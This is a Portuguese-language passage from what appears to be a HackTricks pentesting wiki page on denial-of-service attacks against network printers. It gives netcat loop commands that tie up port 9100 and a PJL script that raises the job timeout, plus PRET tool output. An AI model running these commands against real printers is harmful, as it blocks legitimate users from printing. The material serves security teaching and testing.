3.3 KiB
Se os trabalhos de impressão forem processados em série - o que é assumido para a maioria dos dispositivos - apenas um trabalho pode ser tratado de cada vez. Se este trabalho não terminar, o canal de impressão é bloqueado até que um tempo limite seja acionado, impedindo que usuários legítimos imprimam.
DoS básico:
while true; do nc printer 9100; done
Este ataque trivial de negação de serviço pode ser aprimorado configurando um valor alto de tempo limite com PJL, assim o número de conexões que um atacante pode fazer é minimizado, enquanto é ainda mais difícil para usuários legítimos obter um intervalo de tempo livre:
# get maximum timeout value with PJL
MAX="`echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 |\
grep -E -A2 '^TIMEOUT=' | tail -n1 | awk '{print $1}'`"
# connect and set maximum timeout for current job with PJL
while true; do echo "@PJL SET TIMEOUT=$MAX" | nc printer 9100; done
Você pode usar o PRET para encontrar as configurações de tempo limite:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> env timeout
TIMEOUT=15 [2 RANGE]
5
300
Embora a referência PJL especifique um tempo limite máximo de 300 segundos, na prática, os tempos limite máximos do PJL podem variar de 15 a 2147483 segundos. Observe que até mesmo trabalhos de impressão recebidos de outros canais de impressão, como IPP ou LPD, não são processados enquanto a conexão estiver aberta.
Saiba mais sobre este ataque em http://hacking-printers.net/wiki/index.php/Transmission_channel
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.